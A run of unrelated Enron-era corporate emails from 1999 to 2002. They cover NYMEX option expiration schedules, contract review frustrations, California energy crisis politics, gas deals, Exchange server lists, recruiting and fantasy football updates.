representatives involved.  All final corrections will be made at this time=
=20
and upon determination of the Supervisor that all option processing is=20
complete, all representatives will be released.

Exchange Reports based on Friday=01,s submissions and processing will be=20
available on Monday morning December 11, 2000.

In the event that you have any questions regarding the foregoing trading=20
floor procedures please contact Michael Campanelli at (212) 299-2072 or Dav=
id=20
Sherman at (212) 299-2061.

OPTION EXPIRATION PROCESSING CLEARING MEMBER PROCEDURE SUMMARY

Time: 3:30 PM
Activity: Expits, H/C transfers, Option Position Reduction and=20
Exercise/Abandon notices
Event: Submission to Clearing cutoff time.
Notes: Final cutoff for Expits and H/C tranfers

Time: 3:45 PM
Activity: Call Fast Facts to obtain availability time of Preliminary Option=
=20
Expiration Reports.
Event: Fast Facts notice of Availability

Time: 4:15 PM
Activity: Preliminary option expiration reports available to clearing membe=
rs=20
at NYMEX Clearing Department

Time: 5:00 PM
Activity: Options Position Reduction, Exercise/Abandon notices and Gross=20
Position Adjustments
Event: Submission to Clearing Cutoff Time
Notes: Final cutoff for Option Position Reduction, Exercise/Abandon notices=
=20
and Gross Position Adjustments

Time: 5:05 PM
Activity: Call Fast Facts to obtain availability time of Final Preliminary=
=20
Option expiration Reports

Activity: Final Preliminary option expiration reports available to clearing=
=20
members at NYMEX Clearing Department.

Activity: Call Fast Facts to obtain Preliminary In the Money Abandonment an=
d=20
Out of the Money Exercise Information
Event Fast Facts notice of information
Notes: New Event

Time: 6:00 PM
Activity: Corrections to previously Submitted Adjustments or Notices
Event: Correction period cutoff time (30 minutes after final preliminary=20
report is distributed)
Notes: Final cutoff for corrections

Time: 7:00 PM
Activity: Call Fast Facts to obtain availability of final expiring option=
=20
position and Exercise/Assignment report

Activity: Final expirating options position and Exercise/Assignment report=
=20
available in clearing member's lockbox at NYMEX Clearing Department

Time: 8:30 PM
Activity: Call Fast Facts to obtain availability of final clearing reports.

Time: 9:00 PM
Activity: Final clearing reports available in clearing member's lockbox at=
=20
NYMEX Clearing Department.

Please contact John Ramos at (212) 299-2142 (Members 001-500) or Mel Garcia=
=20
at (212) 299-2144 (members 501-999) if you have any questions.

email.

.com&
refdoc=3D(00-408-Revised)"

I had a really fun time.  There were probably about 10 people from work there 
and my bro.  We stayed out until about 1:30 and then went home.

I'm going to start calling you "backout" if you don't shape up.

You asked yesterday if any of us had any comments on the Analyst PRC 
process...  I thought I would share a few things with you.  The primary 
concern was that an individual was representing "our" people, and they 1) did 
not know them 2) did not know what they did 3) probably could not adequately 
answer questions about that person and his/her performance and job 
responsibilities.  Although I think the manager's in my group did an 
excellent job of providing feedback and accomplishments (the two analysts 
rankings in our group did not change from excellent), they were really uneasy 
about someone independent of our group representing them.  

Also, in general, it seems like the analysts are getting conflicting messages 
about the "third" rotation and the option of going back to school, staying 
with the company, etc.  I think a good idea would be to provide some clear, 
written message to the analysts and us about the program and how it is going 
to work going forward.  It surer seems like it changes every 6 months...  

Hope this helps!  Let me know if you have any questions.

Sheri

Reminder

How can an understanding of strategic choices, regulatory change and 
corporate culture help Enron achieve its vision?

Speaker:
and

EB 5C2

Rick:

I suggest that you, Ted, D Hardy and I visit by phone in the next couple of 
days to further discuss communication between the various groups involved.  
It would be useful for D Hardy and I to further describe some of the behind 
the scenes conversations that occurred involving the principal groups (ie. 
RAC, Acctg, Logistics, Legal and Commercial) and the sequence and timing of 
those conversations.  I believe it will be most useful for you to have a 
better understanding of the interaction among the groups as this is discussed 
among senior management in the coming weeks.  I firmly believe that the 
Accounting/Commcl. Support and Logistics groups got much to close to 
commercial and were not second guessing some of the key issues.  Some of our 
more difficult conversations and resistance when collecting information came 
from commercial support and logistics, not just commercial.  Given the nature 
of discussions around this issue, it is important that we have this 
conference call some time this week.  Let me know when you have some time or 
alternatively have Karen schedule with Sharon.

On a related note, at some point there was a struggle within Liquids 
concerning control over trading in the Helsinki office (between London and 
Ilkka).  Although the Helsinki office was originally intended only as a 
marketing office, in some respects it evolved into a stand-alone operation.  
I can not see where there was a conscious decision for it to be more than a 
marketing outpost and it would appear the decision concerning the amount of 
control enjoyed by Ilkka and his team came solely down to K Beasley.  I would 
like to discuss this in this call as well.

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phone: 888-986-2250

fyi
---------------------- Forwarded by Sheri Thomas/HOU/ECT on 06/12/2000 02:17 
   
From:  Matt Motsinger                                                         
    06/12/2000 02:14 PM	
	
To: Kimberly Hillis/HOU/ECT@ect, David Forster/Corp/Enron@Enron, Sheri 
Thomas/HOU/ECT@ECT
cc: Torrey Moorer/HOU/ECT@ECT, Jennifer deBoisblanc Denny/HOU/ECT@ECT 
Subject: Lavorato Report 06-09-00

Here are the average EOL and NON-EOL transactions for North American Gas by 
Region as of June 9, 2000 .

Matt

fyi
---------------------- Forwarded by David W Delainey/HOU/EES on 05/15/2001 
06:26 PM ---------------------------

	From:  Vicki Sharp                           05/15/2001 12:32 PM
	Phone No: 713 853-7413
	
To: David W Delainey/HOU/EES@EES
cc:  
Subject: Re: Sysco - continuing internal difficulties

FYI
---------------------- Forwarded by Vicki Sharp/HOU/EES on 05/15/2001 12:32 

	From:  Vicki Sharp                           05/15/2001 11:05 AM
	
To: Michael Mann/HOU/EES@EES
cc: Janet R Dietrich/HOU/EES@EES, Chuck Randall/HOU/EES@EES, Hector 
Gutierrez/HOU/EES@EES, Gayle W Muench/HOU/EES@EES, Richard L 
Zdunkewicz/HOU/EES@EES, Jeremy Blachman/HOU/EES@EES, Angela 
Schwarz/HOU/EES@EES, James E Keller/HOU/EES@EES 
Subject: Re: Sysco - continuing internal difficulties  

As I reported at the Operating committee meeting Monday morning, we are 
developing a dedicated team to address EES/ENA coordination issues.  Jim 
Keller will head the team from our perspective.  We all recognize that last 
week's events were unfortunate, and are developing processes and procedures.  
Several meetings with ENA legal have occurred and more are planned.
We will keep you posted and in the meantime, feel free to call Jim or 
myself.  We know how important this issue is to the organization.

Thanks.  Vicki 

	From:  Michael Mann                           05/15/2001 06:21 AM
	Phone No: 713.853.0969
	
To: Janet R Dietrich/HOU/EES@EES, Vicki Sharp/HOU/EES@EES
cc: Chuck Randall/HOU/EES@EES, Hector Gutierrez/HOU/EES@EES, Gayle W 
Muench/HOU/EES@EES, Richard L Zdunkewicz/HOU/EES, Jeremy Blachman, Angela 
Schwarz/HOU/EES@EES 

Hope that you are both in the loop with Richard Z. as he tries to lead some 
of this tie-breaking.  (This is still the California piece).  Clearly, at 
least the optics around this demonstrate a need for evolving legal processes 
around our changing internal approval relationship with ENA.   I should have 
an update around noon today from the deal team.

MM
---------------------- Forwarded by Michael Mann/HOU/EES on 05/15/2001 06:18 

	From:  Chuck Randall                           05/14/2001 04:46 PM
	Phone No:    713-345-7844
                                     
     713-646-8913 fax
     800-201-9789 pager
     713-417-8400 cell
	
To: Richard L Zdunkewicz/HOU/EES@EES
cc: Michael Mann/HOU/EES@EES, Michael Moore/HOU/EES@EES 
Subject: Re: Sysco  

Richard, I have forwarded to you a copy of the Sysco California contract 
marked to show comments  made by ENA. Although ENA was very responsive, I did 
not find their comments substantive but rather style/preference oriented. 
Given that this was the first time they had seen this document, I was 
somewhat surprised. Jim Keller (who worked with Debbie) and Debbie reviewed  
them and took some of their suggestions and ignored others. I don't  think 
ENA completely understands the retail business as some of their comments were 
more wholesale oriented. Debbie can give you her view as well as information 
on the "process" the two legal departments used to work through the document. 
I do not know what  conversations Don Black had with ENA legal. 

I think what frustrated Hector and me so much was the number of people who 
had to review the contract, make suggestions, the suggestions had to be 
incorporated into the document (which, remember, Sysco had already seen 
once), then re-reviewed by the person making the suggestion. I realize that 
we are breaking new ground and that it is a California contract but there 
needs to be a better, less time consuming and smoother way. 

I have listed below most of the people who reviewed the contract (to the best 
of my memory). Several of these individuals were difficult to corner as this 
was not really their responsibility but given the state (California), were 
asked to do so. 

Debbie Asmus - lead attorney
Mike Smith - commodity
Jim Kellar - commodity
California Counsel - enforceability issue for Calif.
Elizabeth Sager - ENA legal
Paul Peppitone - Andrews & Curth - outside counsel - drafting
Beth Apke - tax
Don Black - commodity
Neil Bresnan - California curves
Sean Holmes - 
Nina Nguyen - mark to market
Denise Furey - credit
Chris Riley - commodity structuring
Mary Sapalio - account services
Hector Gutierrez - 
Chuck Randall

Let me know if you have any more questions.

Chuck

We are borrowing 110,000 dth (deal 322012) on Transco on the 30th and paying 
the gas back on July 1st (deal 322007).  We are paying Trco a one time fee of 
$.0386 (see below)

Volume   Fee
0 to 50,000  $.015
50,001 to 100,000 $.05
100,001 to 110,000 $.10

Mark,

Mika Watanabe from my group met with the consulate in Houston a while back. 
The Consul general was undertaking preliminary soundings when they met with 
you in Houston. Mika expressed our in principle interest in sponsoring a 
Japanese cultural event in Houston. The consulate will contact us here in 
Japan when a specific opportunity arises.

kind regards    

11/22/2000 11:23 PM
To: Steven J Kean/NA/Enron@Enron, Nicholas O'Day/AP/Enron@Enron
cc:  

Subject: Japan consulate in Houston

Steve - where did we ever get to in terms of responding to the Consul General 
about sponsorship?  I came across his name in my files, and just wanted to 
make sure that we had done the courtesy of closing the loop/closing this 
out.   thanks  mcs

Briefly:

The hearing that was planned to focus on UC issues has been postponed, 
although per the attached there will be a discussion concerning the impact of 
Energy Service Providers turning their customers back to DWR/utility service.

Also, the Federal Judge has scheduled the UC/CSU - Enron Energy Services 
hearing for April 11th.  UC had requested an immediate review versus a 
procedural 35 days to schedule.  The schedule reflects a more procedural 
answer.  

More as we get information.  

---------------------- Forwarded by Marty Sunde/HOU/EES on 03/21/2001 08:53 
   
	From:  Mike D Smith                           03/21/2001 08:57 AM
	
To: Dan Leff/HOU/EES@EES, Marty Sunde/HOU/EES@EES, Jeff Messina/HOU/EES@EES, 
Harry Kingerski/NA/Enron@Enron, Vicki Sharp/HOU/EES@EES, Robert C 
Williams/Enron@EnronXGate, Peggy Mahoney/HOU/EES@EES, James D 
Steffes/NA/Enron@Enron, Sandra McCubbin/NA/Enron@Enron
cc:  
Subject: Thursday Hearing

Per Sandy, it sounds like there is going to be a budget committee hearing on 
Thursday to discuss DWR procurement and the effect of marketers returning 
customers to utility service.  It looks like we may be asked to provide 
testimony (but not about any customer specific issues).  Mike Day would be 
the right person to provide that testimony if needed.  I'll pass on any more 
details as I get them.  MDS

---------------------- Forwarded by Phillip M Love/HOU/ECT on 06/28/2000 

Bryan Hull
06/28/2000 05:35 PM
To: O'Neal D Winfree/HOU/ECT@ECT, Phillip M Love/HOU/ECT@ECT, David 
Baumbach/HOU/ECT@ECT, Michael Walters/HOU/ECT@ECT, Eric Bass/HOU/ECT@ECT, 
Matthew Lenhart/HOU/ECT@ECT, Daren J Farmer/HOU/ECT@ECT, Jody 
Crook/Corp/Enron@ENRON, Timothy Blanchard/HOU/EES@EES, Chad Landry/HOU/ECT@ECT
cc:  
Subject: FW: Grandma Wassup

---------------------- Forwarded by Bryan Hull/HOU/ECT on 06/28/2000 05:36 PM 
   
To: Bryan Hull/HOU/ECT@ECT
cc:  

---------------------- Forwarded by Cecilia Olvera/HOU/ECT on 06/28/2000 
05:34 PM ---------------------------

---------------------- Forwarded by Alex Saldana/HOU/ECT on 06/28/2000 02:36 

>
>
>  <<grandma-wassup.mpg>>

 - grandma-wassup.mpg

Vince,

I have added a lot of material to "fill in the wholes" and would like your
reaction to the current draft.  I am still not very happy with the risk
management segment (primarily as a result of my own lack of knowledge) so
please read it carefully and get me your comments.

I plan to let Don Chew (the editor) take a look at it to give us his
guidance toward a successful draft.

Hope you are having a great day and tremendous start to the new year.

Your friend

john

p.s. I really enjoyed your papers.  those should definitely be part of a
class on risk management.

 - Enron_Paper_1_11_01.doc

It looks like your Deal Blotter settings may be defaulting to PST time zone. 
But these April deals need to flow during the PDT time zone. Could you check 
your settings and make sure the time zone defaults to PPT (that way the 
strips will choose PST or PDT accordingly)?

Two additional deals were changed to the correct time zone:
534074
534072
534071
534053

Thanks,
Kate
 
---------------------- Forwarded by Kate Symes/PDX/ECT on 03/01/2001 09:13 AM 

03/01/2001 08:45 AM
cc: Carla Hoffman/PDX/ECT@ECT, Sharen Cason/HOU/ECT@ECT, Kimberly 
Hundl/Corp/Enron@Enron 

Subject: Deals with Time Zones Amended

Kate,

these are the following deals I have amended the time zones to PPT instead of 
PST and amended the strips to reflect the change:
534066
534473
534077
534078
534064
534058

Also, these are only the brokered deals between Tom and Mark.  There may be 
some non-brokered deals in enpower with a flow of April and the time zone 
needs to be changed to PPT and the strips amended as well.  Can you please 
run a query and check the other deals to make sure the time zone is correct 
because if not they will not be scheduled correctly for April. 

If you have any question please call me.  

Thanks!!

Sorry about that.  Thanks for responding.

From: 	Martin, Thomas A.  
Sent:	Thursday, June 07, 2001 1:14 PM
To:	Hall, Joe
Subject:	RE: Netops additions

You got the wrong guy.

Thomas Martin
From: 	Hall, Joe  
Sent:	Thursday, June 07, 2001 10:54 AM
To:	Percy, Sean
Cc:	Martin, Thomas A.

Sean,
	Here is the new list of Teeside Exchange servers.  Please do a sanity check on it.  It appears that it is all okay.

Location	Server		Storage Group	Database		Number of Users
Teeside	EUTEE-MSMBX01V	MBX01SG01A		PrivMBX01SG01A01		2
Teeside	EUTEE-MSMBX01V	MBX01SG01A		PrivMBX01SG01A02		1
Teeside	EUTEE-MSMBX01V	MBX01SG01A		PrivMBX01SG01A03		1
Teeside	EUTEE-MSMBX01V	MBX01SG01A		PrivMBX01SG01A04		1
Teeside	EUTEE-MSMBX01V	MBX01SG02A		PrivMBX01SG02A01		1
Teeside	EUTEE-MSMBX01V	MBX01SG02A		PrivMBX01SG02A02		1
Teeside	EUTEE-MSMBX01V	MBX01SG02A		PrivMBX01SG02A03		1
Teeside	EUTEE-MSMBX01V	MBX01SG02A		PrivMBX01SG02A04		1
Teeside	EUTEE-MSMBX01V	MBX01SG02A		PrivMBX01SG02A05		1

thanks,

Joe Hall

From: 	Percy, Sean  
Sent:	Thursday, June 07, 2001 8:16 AM

Martin is correct please see below for correct version

Thanks,
            Sean

From: 	Thomas, Martin  
Sent:	07 June 2001 13:56

Sean - the database names on SG02 look wrong mate???

Sent:	07 June 2001 13:48
Cc:	Thomas, Martin
Subject:	Netops additions

Hi,
	Please find enclosed the details of the new Exchange server in Europe based at ETOL (Teeside), in the UK.

Location	Server		Storage Group	Database		Enabled
Teeside	EUTEE-MSMBX01V	MBX01SG01A		PrivMBX01SG01A01	true
Teeside	EUTEE-MSMBX01V	MBX01SG01A		PrivMBX01SG01A02	true
Teeside	EUTEE-MSMBX01V	MBX01SG01A		PrivMBX01SG01A03	true
Teeside	EUTEE-MSMBX01V	MBX01SG01A		PrivMBX01SG01A04	true
Teeside	EUTEE-MSMBX01V	MBX01SG02A		PrivMBX01SG02A01	true
Teeside	EUTEE-MSMBX01V	MBX01SG02A		PrivMBX01SG02A02	true
Teeside	EUTEE-MSMBX01V	MBX01SG02A		PrivMBX01SG02A03	true
Teeside	EUTEE-MSMBX01V	MBX01SG02A		PrivMBX01SG02A04	true
Teeside	EUTEE-MSMBX01V	MBX01SG02A		PrivMBX01SG02A05	true

						Please add these to Netops for account creation purposes. Thanks

Thanks,
            Sean

Let's get together on Tuesday.

From: Tycholiz, Barry 
Sent: Thursday, July 26, 2001 8:44 PM
Subject: Regulatory / Fundamentals

Mike, further to our conversation of this week.. let's get together early next week... ( Tues ) to sit down and hash out expectations of Jane and Keith as they relate to your needs, my needs and how they mutally benefit our efforts.
 
I think we may have to formalize the reporting process on the regulatory but before I worry about that, I am more interested in you and me working out expectations... we may be far off as to what the priorities are and as such our regulatory focus may need to splinter.
 
I have decided to go up to Canada for a couple days to handle some family affairs.  I can be reached on my cell, otherwise I will talk to you on tues. 
 
BT 

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[IMAGE]

I heard about this kitty on the news but the didn't have any pictures.  
Thanks for forwarding it on!

	Becky Spencer
	05/16/2001 11:42 AM
		 
		 To: Tana Jones/HOU/ECT@ECT, Marie Heard/Enron Communications@Enron 
Communications, Sandra R McNichols/Enron@EnronXGate, Susan 
Skarness/Enron@EnronXGate, Genia FitzGerald/HOU/ECT@ECT, Martha 
Braddy/ENRON_DEVELOPMENT@ENRON_DEVELOPMENt, Nita Garcia/NA/Enron@Enron, 
Stephanie Panus/NA/Enron@Enron
		 cc: 
		 Subject: Amazing Kitten

http://www.chron.com/cs/CDA/story.hts/metropolitan/909812

Republican Plan B
A source reports the following regarding the Republican Plan B proposal:
? Encourage direct access for consumers.  (The problem with this, however, is 
that these direct access deals would not have a dedicated rate component, and 
too many might undermine the cash flow and credit worthiness of the bonds.)
? The Republicans will "suggest" that generators take a 30% haircut.  "We 
think this is doable."
? The Republicans strongly oppose purchasing the transmission assets.
? Restore the invetor-owned utility model for generation.  They would 
establish a dedicated rate component for construction of native generation by 
the utilities.  They would grant ratepayers equity interest in these plants.
? Resolve the QFs' financial issues.

Assemblyman Cox commented afterward that the Republcans have been trying to 
work on a bilateral basis with the Democrats on these issues, but they feel 
"frozen out."  Moreover, he senses the Democrats moving back toward having an 
option to purchase SoCal's transmission assets, which the Republicans oppose.

Democratic Plan B
A source reports the following regarding the Democratic Plan B:
? The Democrats are formulating a Plan B that incorporates the Governor's 
MOU, the Nation Plan B and other ideas that they have.  This plan reportedly 
has not yet been introduced into the legislature yet because it is still 
being finalized and the Democrats are not certain that it will work.  
Specifically, the option to purchase SoCal's transmission assets is 
reportedly still being debated.  Some Democrats reportedly believe that this 
may be unnecessary.
? The details of the plan are reportedly as follows:
- Set aside the $3.1 bilion undercollect in a separate account funded by a 
dedicated rate  component.
- The generators can either get a check instantly from the bonds for 70% of 
their  claim or they can try to get up to 100% of their claim adjudicated 
through a  dispute.
- This plan could be used as a template for going to the bankruptcy judge to 
strike a deal  for PG&E.
? Sources indicate that the Democrats are developing a post-petition plan in 
cast SoCal files for bankruptcy, including the following:
- The state would buy both utilities out of bankruptcy.  It then would sell 
of pieces of  the utilities to various private-sector buyers, but with a 
lifetime stipulation on  how they will be run.
- Some Democrats reportedly believe the state could do this with as little as 
$5 billion if  it assumed the utilities' debt and got a cram-down by the 
bankrutpcy judge to quell  the protests against such a plan that would very 
likely erupt.  Democrats reportedly  believe that the Judge Montali would 
support this idea.

The attached transaction agreement has been signed by the customer on 
4-16-01. We have a faxed copy.  I will send you the faxed copy for your 
files.  Call if you have any questions.

fyi...
---------------------- Forwarded by Bret Reich/ET&S/Enron on 08/19/99 12:44 

"Pope, D Bruce " <popedb@texaco.com> on 08/19/99 12:24:11 PM
To: Bret Reich/ET&S/Enron@Enron
cc:  
Subject: Eunice Gas Plant, Lea County, N.M. 

This is to let you know where we are on your proposed settlement agreement.
TEPI's SH&E staff advises me that  the New Mexico Oil Conservation Division
("OCD") has required revisions to TEPI's remediation plan for this site.  We
are reluctant to submit to you a revised draft of the settlement agreement
until that remediation plan is finalized with the OCD in about October. At
that time we will get Enron a redraft.

I have reviewed your last draft and have a few conceptual items I would like
to mention to you , bearing in mind that I have not participated in earlier
discussions or drafts:

(1) I notice that the proposed agreement requires TEPI to remediate the site
and to reimburse Northern for all out of pocket expenses for investigation,
assessment ,remediation and monitoring  this site, if TEPI is the source of
contamination--- but that Northern is only required to reimburse TEPI for
its part of the environmental assessment if Northern is found to be the
source. I would think that these provisions should be bilateral and that the
settlement agreement should also provide that if Northern is at fault, it
would remediate the site, as well as reimburse TEPI for all of the same out
of pocket  expenses.

(2) How does Enron/Northern feel about submitting this dispute to binding
AAA arbitration in Houston,  if the parties cannot agree on the source of
the contamination after TEPI conducts the environmental assessment, with the
arbitrators empowered to allocate costs if they determine that both parties
contributed to the contamination?  If arbitration is agreeable, I will
prepare an arbitration provision for our next draft.

(3) I am inclined to have the agreement interpreted under Texas law, rather
than New Mexico's,  since both companies have large presences in Texas , but
do not feel strongly about it.

Let me know your thoughts on these matters when you have a chance.

D. Bruce Pope
Texaco Inc.
Texnet 621-4308
(303) 793-4308
FAX (303) 793-4326
Email: Popedb@texaco.com

The request has been completed with all resources requested either completed or rejected. You can view the details of the  request by clicking http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000042540&Page=MyReq.

Ladies:

Ken has requested that Greg & Cliff interview this person for him.  I will 
have Gloria Alvarez in EBS Recruiting contact you both to check availability.

Thanks!

Dorothy Dalton
Office of the Chairman
1400 Smith Street, EB4505
713-853-6724 - direct
713-853-9469 - fax
----- Forwarded by Dorothy Dalton/Enron Communications on 11/09/00 03:51 PM 
-----

	Marla Barnard
	11/09/00 03:09 PM
		 
		 To: Dorothy Dalton/Enron Communications@Enron Communications
		 cc: Gloria Alvarez/Enron Communications@Enron Communications, 
CJackson@russellreynolds.com
		 Subject: Interview

Dorothy,

Per our discussion, Ken and Kevin would like Greg Whaley and Cliff Baxter to 
interview a candidate for a VP, Network Engineering and Operations in EBS.  
His name is Doug Kelly and he is tentatively scheduled to see Ken and Kevin 
on Monday, November 20.  Mr. Kelly has already interviewed with Kevin and 
several of EBS management.  He is our top candidate for this role and we are 
trying to move quickly.

I appreciate you sending a note to both Greg and Cliff's assistants regarding 
their availability to interview Mr. Kelly.

They can contact Gloria Alvarez at 58059 to coordinate.  

Thanks

Attached is the weekly status update for the business setup of enovate.  I 
have highlighted in yellow those items which had activity this week.   The 
two most significant outstanding items continue to be completion of the Hub 
Agency Agreement and agreement and documentation of the transfer price 
arrangement. Please call me with any questions.

Thanks,

Gregg

ahwwwwww

From: 	Quigley, Dutch  
Sent:	Monday, March 25, 2002 4:10 PM

anything for you mainline

From: 	Scott, Susan M.  
Sent:	Monday, March 25, 2002 4:09 PM

the most up-to-date, informative site available ;)

you are right you got www.nymexinfo.com

Sent:	Monday, March 25, 2002 4:07 PM

ha...why not

should i put the word in for you to trade the futs for ene estate ......

Sent:	Monday, March 25, 2002 4:00 PM

ha...this bites

Subject:	

i hate UBS systems , im down again

Alan - thanks for assembling this information.  It is very useful but I want 
to throw out some ideas for discussion and ask you and others to comment on 
the direction we take with this.

I think we should characterize the Cost of Takeover as the difference in cost 
between the Nationalization approach Davis is taking and Enron's Market 
approach (increase supply, decrease demand, retail competition, utility 
solvency).   Here's the direction that takes us:

$13 B utility under-recovery:  required in both cases.
$7.6 purchase of Transmission:  represents a $3.8B excess cost in Davis 
plan.  Ratepayers were going to pay for the first $3.8B anyway.  If Davis 
nets this against the $13 B under-recovery, then it's not an excess cost.
Transmission upgrades:  required in both cases.
DSM/DG grants:  required in both cases.
New construction to cover short position:  required in both cases.  Cost 
difference is net difference between private market cost of generation and 
what subsidy CA must provide to induce generation at its desired cost, and 
net inefficiency from administering a govt. bureaucracy vs. free market entry 
and exit.  These will be a function of how 6X is administered.

In other words, I see the direct and measurable Cost of Takeover now as maybe 
$4-5 B, including $1B to cover court challenges, legal costs, new bureaucracy 
and so on.  Much more important (and perhaps this is where the big $$ can 
come in) is through indirect costs - damage to California's economy through 
reduced private investment because of heavy-handed govt threat, loss of  
commercial and industrial development because of short-term supply shortages, 
and long term inefficiencies because of public instead of private management.

So how about this:  direct cost of takeover is $5 billion plus a long term, 
indirect cost of $__ B because of a 5% reduction per year in the rate of new 
capital investment  in the state.  Maybe a Robert Michael or somebody could 
fill in the last blank with a little prodding from us.

	Alan Comnes@ECT
	02/21/2001 01:49 PM
		
		 To: John Neslage/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, James D 
Steffes/NA/Enron@Enron, Harry Kingerski/NA/Enron@Enron, Susan J 
		 cc: 
		 Subject: Re: Cost of Takeover

I already have a few changes:

In Davis's Feb 08 press release, it states: "Under Governor Davis' emergency 
powers and proposals, California will streamline efforts to bring an 
additional 20,000 megawatts online by July 2004, starting with 5,000 
additional megawatts by July 2001 and 5,000 more megawatts by July 2002."

Also, he mentions expanding by 1,000 MW the transmission line "to Oregon" in 
his 2/16 press conference transcript.

I have just upped the costs to reflect these numbers.

Kay, I forwarded a message to you from Sheri Sierra from a gentleman looking 
for energy mgt services in Japan.  I had asked you to forward to Joe Hirl.

Please follow up with Joe.

Regards
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 02/20/2001 
07:50 PM ---------------------------

02/20/2001 05:22 AM
cc:  
Subject: Re: Potential energy services deal in Japan  

Dave,

Could you have your assistant forward the contact details so that I can 
follow up?

thanks,

Joe

Joseph P. Hirl
Enron Japan Corp.
81 3 5219 4500
81 3 5219 4510 (Fax)
www.enron.co.jp

	David W Delainey@ECT
	02/16/2001 10:02 AM
		 
		 To: Joseph P Hirl/AP/ENRON@ENRON
		 cc: 
		 Subject: Re: Potential energy services deal in Japan

Joe, I will forward his voice mail to you.  EES has enough challenges in NA 
and Europe before tackling retail products and services in a market with no 
wholesale market.

Please follow up.

Thanks
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 02/15/2001 
07:00 PM ---------------------------
   
	From:  Sherri Sera @ ENRON                           02/15/2001 05:10 PM
	
To: Joseph P Hirl/AP/ENRON@ENRON

Thanks for the quick response, Joe.  Peter did call me earlier this 
afternoon, and I transferred him to Dave Delainey.  Unfortunately, I failed 
to get his phone number before transferring him, but I understand from Dave's 
assistant that he left Dave a voicemail.  I'm sure he left his number there.  
I did, however, gleen from him that he and his investors already own the 50 
buildings (not in the process of buying them as I originally thought) and 
have +/- 100 additional properties they manage.

I'm stepping out of the middle of this one now unless there is anything 
further you need me to do.  Good luck - I hope it's a real deal - I've never 
had origination next to my name before!  SRS

Joseph P Hirl
02/15/2001 04:57 PM
To: Sherri Sera/Corp/Enron@ENRON

Sherri,

We would be quite interested in looking into this further.  We are currently 
working with quite a few companies to sell power under 3-5 year contract 
terms.  The customers range from large office bldgs (>2Mw and connected to 
EHV grid) to large industrials (several hundred Mw).  We are also making some 
real progress with the real estate companies and department stores to provide 
power to a number of their facilities across Japan.  There are a number of 
other initiatives where we would take an industrials self generation off 
balance sheet, upgrade facility, etc to give us access to power.  In one case 
we are progressing with a company that has 600 Mw inside the fence.

Let me know how you would like to progress.  As a point of interest, a 
particular discount product that we are offering is fully described on our 
biligual website (www.enron.co.jp).  This has been very successful for us.

Joe

	Sherri Sera
	02/16/2001 04:44 AM
		 
		 To: David W Delainey/HOU/ECT@ECT, Joseph P Hirl/AP/ENRON@ENRON
		 cc: 
		 Subject: Potential energy services deal in Japan

You will receive a phone call from Peter Wachtell sometime over the next 
week.  I spoke to his father last night at a dinner party; Peter is putting 
together a deal in Tokyo right now to purchase 50 office buildings and manage 
another 100.  He is interested in talking to Enron about energy outsourcing.

I'm assured that this a legitimate deal, but that will be for you to decide!  
Just wanted to give you a heads up in the hopes you will take a few minutes 
to talk to him.

SRS

Thanks for tracking this info down.  I'll give Larry a call next week when 
I'm back. Hope all is reasonably sane at the office.

See you Monday.

Steve

	Gerald Nemec
	03/14/01 09:45 AM
		 
		 To: lgeorge@ccj-law.com
		 cc: Steve Van Hooser/HOU/ECT@ECT
		 Subject: Maps

Per Steve's request, I am forwarding a phone number of a consulting company 
that produces maps which show all pipeline in Texas (sorted by county).  This 
might be a good place to start to find the pipeline you described in your 
voice mail to Steve.

The company is Design Technics Corp.  Phone: (713) 460-2291.  The map will 
generally show where the pipeline runs, but it is depicted at more of a macro 
level. 

The Management Committee meeting will now take place in the boardroom from 11:30 - 5:00.  Lunch will be served.

Thanks,
Joannie
3-1769

I have two questions:

(1)  If the ECC financial trading business is to be confirmed in Canada, 
won't Greg Johnston need a "short course" on ISDA/omnibus, etc.?  I was 
thinking of practical issues as well as Tana's more formalized training.

(2)  Have you spoken with Mary Solomson about Anthony?  I'm not sure if Tana 
has organized her lunch with global contracts, but it sounded as though 
Anthony was part of the problem and that Mary should be at the lunch.

With regards to the Terminamtion Agreement,  I am waiting on deal clearing on 
a confirmation.  

Fletch,
 
It was nice talking with you  today.  Congratulations on your position with UBS!  I have attached a  presentation about TIG First Source.  If there is anything I can do for  you, please let me know.
Thank you for your time, and I look forward to  speaking with you in the future.  
Taryn Elliott 
Executive Recruiter 
TIG First Source 
713-529-2100  ext 142 
elliott@tigfirstsource.com 
[IMAGE]
 
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Trent Green <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=1599&>, QB KC - Bass/Hull Updated 10/18/01
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Ken Dilger <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=1334&>, TE IND - Free Agent Updated 10/18/01
Dilger is not a major factor in the Indianapolis passing game anymore. Don't expect much from him against the underrated New England defense this week.

Marcus Pollard <http://football222.fantasy.sportsline.com/mp/elink?script! =p! layers&league=bige01&owner=14696.2&random=892&key=1335&> , TE IND - Free Agent Updated 10/18/01
Pollard has emerged as Indianpolis' top option at tight end. He will once again be a key factor in the passing game against New England this week,

Edgerrin James <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=133320&>, RB IND - JWillie Updated 10/18/01
James was held to just 55 rushing yards in his first game against New England this year. Expect much better numbers on James' home turf this week.

Reggie Wayne <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=235256&>, WR IND - Free Agent Updated 10/18/01
Wayne is expected to start in place of ! th! e injured Jerome Pathon for the second consecutive week. Wayne has not done much yet, so don't put him in your Fantasy lineup. 

Marvin Harrison <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=1231&>, WR IND - Russell Updated 10/18/01
Harrison suually performs well in divisional matchups, and has burned Patriots CB Ty Law in the past. Expect him to produce good numbers against New England.

Peyton Manning <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owner=14696.2&random=892&key=12531&>, QB IND - Neal/McKay Updated 10/18/01
Manning did not perform well the first time he faced New England. He was intercepted by the Patriots three times, but should perform better against them at home this week.

Randy Moss <http://football222.fantasy.sportsline.com/mp/elink?script=players&league=bige01&owne! r=! 14696.2&random=892&key=12576&>, WR MIN - Russell Updated 10/18/01 
